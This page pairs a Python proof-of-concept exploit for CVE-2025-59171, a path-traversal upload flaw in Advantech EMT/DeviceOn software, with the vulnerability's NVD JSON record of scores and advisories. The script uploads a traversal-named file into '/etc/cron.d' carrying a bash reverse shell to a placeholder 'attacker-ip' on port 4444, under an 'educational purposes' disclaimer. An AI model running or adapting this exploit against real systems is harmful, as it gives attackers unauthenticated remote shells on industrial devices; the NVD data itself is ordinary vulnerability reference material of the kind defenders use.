CVE-2025-59171

#!/usr/bin/env python3 """ CVE-2025-59171 PoC - Advantech EMT Configuration File Upload RCE Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys TARGET_URL = "http://target-host.com/emt/api/config/upload" PAYLOAD_FILENAME = "../../../etc/cron.d/malicious.sh" MALICIOUS_CONTENT = """#!/bin/bash bash -i >& /dev/tcp/attacker-ip/4444 0>&1 """ def exploit(): """Upload malicious configuration file with directory traversal""" files = { 'config': (PAYLOAD_FILENAME, MALICIOUS_CONTENT, 'application/xml') } try: print(f"[*] Sending malicious configuration file to {TARGET_URL}") response = requests.post(TARGET_URL, files=files, timeout=30) if response.status_code == 200: print("[+] Configuration file uploaded successfully") print(f"[+] File path traversal: {PAYLOAD_FILENAME}") print("[+] Waiting for cron job execution...") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": print("CVE-2025-59171 PoC") print("=" * 50) exploit()

{"cve": {"id": "CVE-2025-59171", "sourceIdentifier": "[email protected]", "published": "2025-11-06T23:15:37.720", "lastModified": "2025-11-19T19:53:42.853", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Due to insufficient sanitization, an attacker can upload a specially \ncrafted configuration file to traverse directories and achieve remote \ncode execution with system-level permissions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:deviceon\\/iedge:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.2", "matchCriteriaId": "36500DFB-E95F-4E82-8CA9-70E5353467FA"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-310-01.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.com/emt/contact", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-310-01", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory", "US Government Resource"]}]}}